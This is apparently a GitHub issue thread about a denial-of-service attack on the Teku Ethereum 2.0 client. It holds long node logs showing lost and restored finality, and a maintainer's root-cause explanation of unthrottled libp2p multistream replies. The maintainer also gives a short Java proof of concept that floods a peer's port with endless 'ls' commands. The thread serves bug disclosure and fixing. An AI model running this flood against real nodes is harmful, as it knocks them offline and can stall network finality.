16:12:56.312 INFO  - Epoch Event *** Epoch: 420, Justified checkpoint: 417, Finalized checkpoint: 411, Finalized root: 404586..3714
16:13:00.314 INFO  - Slot Event  *** Slot: 13440, Block: b2f665..fb2c, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:12.313 INFO  - Slot Event  *** Slot: 13441, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:24.310 INFO  - Slot Event  *** Slot: 13442, Block: d47239..99f3, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:36.310 INFO  - Slot Event  *** Slot: 13443, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:13:48.315 INFO  - Slot Event  *** Slot: 13444, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:00.310 INFO  - Slot Event  *** Slot: 13445, Block: b274e6..7bf0, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:12.310 INFO  - Slot Event  *** Slot: 13446, Block: 5b92e9..b20e, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:24.311 INFO  - Slot Event  *** Slot: 13447, Block: 72c4f8..e9e6, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:36.310 INFO  - Slot Event  *** Slot: 13448, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:14:48.314 INFO  - Slot Event  *** Slot: 13449, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:00.309 INFO  - Slot Event  *** Slot: 13450, Block: 5c37d1..36c7, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:12.310 INFO  - Slot Event  *** Slot: 13451, Block: 5d9ff8..eaa3, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:24.309 INFO  - Slot Event  *** Slot: 13452, Block: a5430f..862e, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:36.309 INFO  - Slot Event  *** Slot: 13453, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:15:48.310 INFO  - Slot Event  *** Slot: 13454, Block: e13879..fd6e, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:16:00.309 INFO  - Slot Event  *** Slot: 13455, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:16:12.310 INFO  - Slot Event  *** Slot: 13456, Block: 9b1dd9..347f, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
16:16:24.310 INFO  - Slot Event  *** Slot: 13457, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
16:16:36.310 INFO  - Slot Event  *** Slot: 13458, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
16:16:48.309 INFO  - Slot Event  *** Slot: 13459, Block: 0a56d5..349d, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:00.314 INFO  - Slot Event  *** Slot: 13460, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:12.310 INFO  - Slot Event  *** Slot: 13461, Block: d0a2ac..6b65, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:24.309 INFO  - Slot Event  *** Slot: 13462, Block: cf45b0..a373, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:36.312 INFO  - Slot Event  *** Slot: 13463, Block: 504865..d930, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:17:48.313 INFO  - Slot Event  *** Slot: 13464, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:00.315 INFO  - Slot Event  *** Slot: 13465, Block: 02ac2a..339f, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:12.310 INFO  - Slot Event  *** Slot: 13466, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:24.314 INFO  - Slot Event  *** Slot: 13467, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:36.311 INFO  - Slot Event  *** Slot: 13468, Block:    ... empty, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:18:48.313 INFO  - Slot Event  *** Slot: 13469, Block: f2db72..11ba, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:19:00.310 INFO  - Slot Event  *** Slot: 13470, Block: c82f1d..a399, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
16:19:12.312 INFO  - Slot Event  *** Slot: 13471, Block: 7a5b91..30e7, Epoch: 420, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2

Epoch 428 Slot: 13700

Finality is prevented for the required 16 epochs and the attack officially stops after slot 13700.

17:04:08.308 INFO  - Epoch Event *** Epoch: 428, Justified checkpoint: 417, Finalized checkpoint: 411, Finalized root: 404586..3714
17:04:12.309 INFO  - Slot Event  *** Slot: 13696, Block: 65a121..79cd, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:04:24.313 INFO  - Slot Event  *** Slot: 13697, Block: 63fa92..2e54, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:04:36.311 INFO  - Slot Event  *** Slot: 13698, Block: 70393b..f03b, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:04:48.313 INFO  - Slot Event  *** Slot: 13699, Block: 727f7f..40d7, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:00.311 INFO  - Slot Event  *** Slot: 13700, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:12.314 INFO  - Slot Event  *** Slot: 13701, Block: b09240..7532, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:24.309 INFO  - Slot Event  *** Slot: 13702, Block: d54634..6187, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:36.315 INFO  - Slot Event  *** Slot: 13703, Block: a9c876..1fa1, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:05:48.314 INFO  - Slot Event  *** Slot: 13704, Block: 7981f0..a695, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:00.312 INFO  - Slot Event  *** Slot: 13705, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:12.309 INFO  - Slot Event  *** Slot: 13706, Block: c8d20e..ce42, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:24.314 INFO  - Slot Event  *** Slot: 13707, Block: 5cfb42..57d7, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:36.308 INFO  - Slot Event  *** Slot: 13708, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:06:48.308 INFO  - Slot Event  *** Slot: 13709, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:00.311 INFO  - Slot Event  *** Slot: 13710, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:12.309 INFO  - Slot Event  *** Slot: 13711, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:24.309 INFO  - Slot Event  *** Slot: 13712, Block: 515149..5cf0, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:36.309 INFO  - Slot Event  *** Slot: 13713, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:07:48.314 INFO  - Slot Event  *** Slot: 13714, Block: 98616c..f07c, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:00.311 INFO  - Slot Event  *** Slot: 13715, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:12.310 INFO  - Slot Event  *** Slot: 13716, Block: 3fd8bb..bb04, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:24.310 INFO  - Slot Event  *** Slot: 13717, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:36.309 INFO  - Slot Event  *** Slot: 13718, Block: 0de3fe..dbc5, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:08:48.309 INFO  - Slot Event  *** Slot: 13719, Block: ed262b..c842, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:00.311 INFO  - Slot Event  *** Slot: 13720, Block: 1d6bac..aa88, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:12.308 INFO  - Slot Event  *** Slot: 13721, Block: 62e04f..6061, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:24.310 INFO  - Slot Event  *** Slot: 13722, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:36.310 INFO  - Slot Event  *** Slot: 13723, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:09:48.308 INFO  - Slot Event  *** Slot: 13724, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:10:00.310 INFO  - Slot Event  *** Slot: 13725, Block:    ... empty, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:10:12.311 INFO  - Slot Event  *** Slot: 13726, Block: 5cee76..3225, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2
17:10:24.309 INFO  - Slot Event  *** Slot: 13727, Block: 7f3118..73e6, Epoch: 428, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 2

Epoch 433

The network hasn't been attacked for several epochs and manages to recover enough to justify epoch 430.

17:36:08.310 INFO  - Epoch Event *** Epoch: 433, Justified checkpoint: 430, Finalized checkpoint: 411, Finalized root: 404586..3714
17:36:12.310 INFO  - Slot Event  *** Slot: 13856, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:36:24.314 INFO  - Slot Event  *** Slot: 13857, Block: 4cfe9d..f51c, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:36:36.313 INFO  - Slot Event  *** Slot: 13858, Block: f21775..3fa0, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:36:48.312 INFO  - Slot Event  *** Slot: 13859, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:00.308 INFO  - Slot Event  *** Slot: 13860, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:12.310 INFO  - Slot Event  *** Slot: 13861, Block: 4f5e1d..093d, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:24.313 INFO  - Slot Event  *** Slot: 13862, Block: 02d450..25b4, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:36.308 INFO  - Slot Event  *** Slot: 13863, Block: 77cf74..9ae8, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:37:48.310 INFO  - Slot Event  *** Slot: 13864, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:00.309 INFO  - Slot Event  *** Slot: 13865, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:12.312 INFO  - Slot Event  *** Slot: 13866, Block: 1076f6..740b, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:24.313 INFO  - Slot Event  *** Slot: 13867, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:36.310 INFO  - Slot Event  *** Slot: 13868, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:38:48.311 INFO  - Slot Event  *** Slot: 13869, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:00.311 INFO  - Slot Event  *** Slot: 13870, Block: 239506..63a6, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:12.314 INFO  - Slot Event  *** Slot: 13871, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:24.313 INFO  - Slot Event  *** Slot: 13872, Block: eed4fc..f0c0, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:36.313 INFO  - Slot Event  *** Slot: 13873, Block: dfa6f6..f608, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:39:48.313 INFO  - Slot Event  *** Slot: 13874, Block: aa6385..90c4, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:00.310 INFO  - Slot Event  *** Slot: 13875, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:12.308 INFO  - Slot Event  *** Slot: 13876, Block: dbf453..f4f5, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:24.309 INFO  - Slot Event  *** Slot: 13877, Block: 433a6a..2f50, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:36.312 INFO  - Slot Event  *** Slot: 13878, Block: 511649..1a5a, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 4
17:40:48.309 INFO  - Slot Event  *** Slot: 13879, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:00.310 INFO  - Slot Event  *** Slot: 13880, Block: 6f34f9..b3c5, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:12.313 INFO  - Slot Event  *** Slot: 13881, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:24.309 INFO  - Slot Event  *** Slot: 13882, Block: 5c404e..1049, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:36.310 INFO  - Slot Event  *** Slot: 13883, Block: 43b066..accb, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:41:48.309 INFO  - Slot Event  *** Slot: 13884, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:42:00.309 INFO  - Slot Event  *** Slot: 13885, Block: 0cd380..8277, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:42:12.309 INFO  - Slot Event  *** Slot: 13886, Block:    ... empty, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3
17:42:24.311 INFO  - Slot Event  *** Slot: 13887, Block: 3923c6..f205, Epoch: 433, Finalized checkpoint: 411, Finalized root: 404586..3714, Peers: 3

Epoch 444 - 445

The network finaly recovers and finality is restored.

18:46:32.307 INFO  - Epoch Event *** Epoch: 444, Justified checkpoint: 442, Finalized checkpoint: 441, Finalized root: 2315db..90d8
18:46:36.310 INFO  - Slot Event  *** Slot: 14208, Block: cdfadd..b1b7, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:46:48.311 INFO  - Slot Event  *** Slot: 14209, Block: 571999..5116, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:00.309 INFO  - Slot Event  *** Slot: 14210, Block: 7bab12..ac3e, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:12.313 INFO  - Slot Event  *** Slot: 14211, Block: 13ac03..9dd0, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:24.308 INFO  - Slot Event  *** Slot: 14212, Block: 9290bd..f4cf, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:36.309 INFO  - Slot Event  *** Slot: 14213, Block: e48646..6f84, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:47:48.309 INFO  - Slot Event  *** Slot: 14214, Block: c5a68e..d6e0, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:00.311 INFO  - Slot Event  *** Slot: 14215, Block: c631a6..b2a6, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:12.310 INFO  - Slot Event  *** Slot: 14216, Block: 7de143..cf16, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:24.311 INFO  - Slot Event  *** Slot: 14217, Block: 4d8fd5..c4c1, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:36.311 INFO  - Slot Event  *** Slot: 14218, Block: f0f917..b591, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:48:48.308 INFO  - Slot Event  *** Slot: 14219, Block: 89cc4f..8195, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:00.308 INFO  - Slot Event  *** Slot: 14220, Block: 93e14e..fb0b, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:12.308 INFO  - Slot Event  *** Slot: 14221, Block: 4c054f..1c85, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:24.309 INFO  - Slot Event  *** Slot: 14222, Block: c7b69c..7822, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:36.309 INFO  - Slot Event  *** Slot: 14223, Block: 6810b7..fc68, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:49:48.310 INFO  - Slot Event  *** Slot: 14224, Block: 47f560..6fe1, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:00.308 INFO  - Slot Event  *** Slot: 14225, Block: 645504..3631, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:12.308 INFO  - Slot Event  *** Slot: 14226, Block: c64390..6053, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:24.313 INFO  - Slot Event  *** Slot: 14227, Block: e737e2..c7e3, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:36.310 INFO  - Slot Event  *** Slot: 14228, Block: 0a6945..fe1b, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:50:48.310 INFO  - Slot Event  *** Slot: 14229, Block: 92a769..cbaf, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:00.311 INFO  - Slot Event  *** Slot: 14230, Block: 3b0cb0..d0f4, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:12.309 INFO  - Slot Event  *** Slot: 14231, Block: 1d2731..c5c6, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:24.311 INFO  - Slot Event  *** Slot: 14232, Block: 33bfc4..5576, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:36.310 INFO  - Slot Event  *** Slot: 14233, Block: bcc374..0a5c, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:51:48.313 INFO  - Slot Event  *** Slot: 14234, Block: 4fb2fb..8f1d, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:00.312 INFO  - Slot Event  *** Slot: 14235, Block: 40bf54..3067, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:12.309 INFO  - Slot Event  *** Slot: 14236, Block: 429793..e074, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:24.310 INFO  - Slot Event  *** Slot: 14237, Block: d1f2ff..a55f, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:36.314 INFO  - Slot Event  *** Slot: 14238, Block: 898656..2053, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:48.314 INFO  - Slot Event  *** Slot: 14239, Block: 806726..6049, Epoch: 444, Finalized checkpoint: 442, Finalized root: 66e27a..393b, Peers: 4
18:52:56.307 INFO  - Epoch Event *** Epoch: 445, Justified checkpoint: 443, Finalized checkpoint: 442, Finalized root: 66e27a..393b
18:53:00.313 INFO  - Slot Event  *** Slot: 14240, Block: 5d5633..3a21, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:12.310 INFO  - Slot Event  *** Slot: 14241, Block: 74a127..a962, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:24.309 INFO  - Slot Event  *** Slot: 14242, Block: 6a3917..e650, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:36.314 INFO  - Slot Event  *** Slot: 14243, Block: 11af11..099e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:53:48.314 INFO  - Slot Event  *** Slot: 14244, Block: f225a0..38f7, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:00.314 INFO  - Slot Event  *** Slot: 14245, Block: b00db4..09a0, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:12.311 INFO  - Slot Event  *** Slot: 14246, Block: a285c6..fec7, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:24.313 INFO  - Slot Event  *** Slot: 14247, Block: 16a202..f63b, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:36.314 INFO  - Slot Event  *** Slot: 14248, Block: 4b8461..805e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:54:48.314 INFO  - Slot Event  *** Slot: 14249, Block: f2d443..ffd2, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:00.311 INFO  - Slot Event  *** Slot: 14250, Block: d29837..c260, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:12.308 INFO  - Slot Event  *** Slot: 14251, Block: 702314..39a3, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:24.314 INFO  - Slot Event  *** Slot: 14252, Block: b2377a..3813, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:36.313 INFO  - Slot Event  *** Slot: 14253, Block: 7a4589..7249, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:55:48.320 INFO  - Slot Event  *** Slot: 14254, Block: cdb470..ffc0, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:00.313 INFO  - Slot Event  *** Slot: 14255, Block: ce7115..23ec, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:12.312 INFO  - Slot Event  *** Slot: 14256, Block: 47a6e5..5c42, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:24.309 INFO  - Slot Event  *** Slot: 14257, Block: 3267a1..4830, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:36.315 INFO  - Slot Event  *** Slot: 14258, Block: 090a2a..3289, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:56:48.315 INFO  - Slot Event  *** Slot: 14259, Block: 7e25c2..7444, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:00.314 INFO  - Slot Event  *** Slot: 14260, Block: 2e3595..cfa2, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:12.310 INFO  - Slot Event  *** Slot: 14261, Block: aeb423..e9b5, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:24.315 INFO  - Slot Event  *** Slot: 14262, Block: e1e8a8..4431, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:36.310 INFO  - Slot Event  *** Slot: 14263, Block: f69815..e768, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:57:48.308 INFO  - Slot Event  *** Slot: 14264, Block: 4d98c8..769d, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:00.313 INFO  - Slot Event  *** Slot: 14265, Block: 88073b..176e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:12.315 INFO  - Slot Event  *** Slot: 14266, Block: 818c3f..44f1, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:24.310 INFO  - Slot Event  *** Slot: 14267, Block: 96c90d..9e11, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:36.319 INFO  - Slot Event  *** Slot: 14268, Block: 417bbe..589e, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:58:48.312 INFO  - Slot Event  *** Slot: 14269, Block: 067873..aec7, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:59:00.311 INFO  - Slot Event  *** Slot: 14270, Block: b15e7c..ad38, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
18:59:12.311 INFO  - Slot Event  *** Slot: 14271, Block: 47972e..8141, Epoch: 445, Finalized checkpoint: 443, Finalized root: 44f3e1..ca30, Peers: 4
@ghost
Copy link

ghost commented Jul 26, 2020

Very interesting, finality could break easily on eth 2.0 😂

@jrhea
Copy link
Contributor Author

jrhea commented Jul 26, 2020

Very interesting, finality could break easily on eth 2.0 😂

I'm confident that the Teku team will be able to fix this particular issue. Keep in mind that this was a 4 node network so taking two nodes down took much less effort and coordination than a 1000+ node production mainnet.

@ghost
Copy link

ghost commented Jul 26, 2020

Keep in mind that this was a 4 node network so taking two nodes down took much less effort and coordination than a 1000+ node production mainnet.

Why not :) https://cointelegraph.com/news/ethereum-network-overcame-intentional-attack-affecting-parity-nodes

@jrhea
Copy link
Contributor Author

jrhea commented Jul 26, 2020

Keep in mind that this was a 4 node network so taking two nodes down took much less effort and coordination than a 1000+ node production mainnet.

Why not :) https://cointelegraph.com/news/ethereum-network-overcame-intentional-attack-affecting-parity-nodes

Not impossible...just saying it's not necessarily going to be as easy as this. 🙂

@ajsutton
Copy link

Apologies, I should have been posting updates here on progress to address this. The multistream protocol has a length prefix for each method. Since the message is a stream of 0s this winds up being interpreted as a unique message per byte sent. The messages are all invalid as they should end with \n and don't match any supported protocols so all wind up being rejected. jvm-libp2p is responding to each byte with a na response.

However that causes a couple of issues. Firstly responding to one byte with multiple bytes is a vector for various amplification attacks but that wasn't the issue that caused the loss of finality. The second issue is that the na responses were being written faster than they were read by the attacking peer and jvm-libp2p was not applying any throttling. Eventually TCP back pressure kicked in, filling up the OS write buffers and the responses wound up being queued in user space memory. This pushed up both the on and off heap memory usage very substantially. CPU also spiked significantly partly due to processing all those multi stream "messages" but mostly because of the resultant memory pressure and GC activity.

Preventing this specific attack is straight-forward, disconnect the peer immediately when an invalid (e.g. 0 length) multi stream message is received. libp2p/jvm-libp2p#126 implements that for jvm-libp2p. The jvm-libp2p update hasn't been pulled into Teku yet as there are still more fixes required.

Specifically, it's possible to trigger this attack using valid multi stream messages and do so even more efficiently by not reading the input stream while attacking at all. For example:

public static void main(String[] args) throws Exception {
    final String host =  "127.0.0.1";
    final int port = 4002;
    try (final Socket socket = new Socket(host, port);
        final OutputStream out = socket.getOutputStream()) {
      send(out, "/multistream/1.0.0");
      while (true) {
        send(out, "ls");
      }
    } catch (final Exception e) {
      throw e;
    }
  }

  private static void send(final OutputStream out, final String cmd) throws IOException {
    out.write(getCommandBytes(cmd + "\n"));
    out.flush();
  }
  private static byte[] getCommandBytes(final String s) {
    final byte[] noise = s.getBytes(StandardCharsets.UTF_8);
    return Bytes.wrap(Bytes.of((byte) noise.length), Bytes.wrap(noise)).toArray();
  }

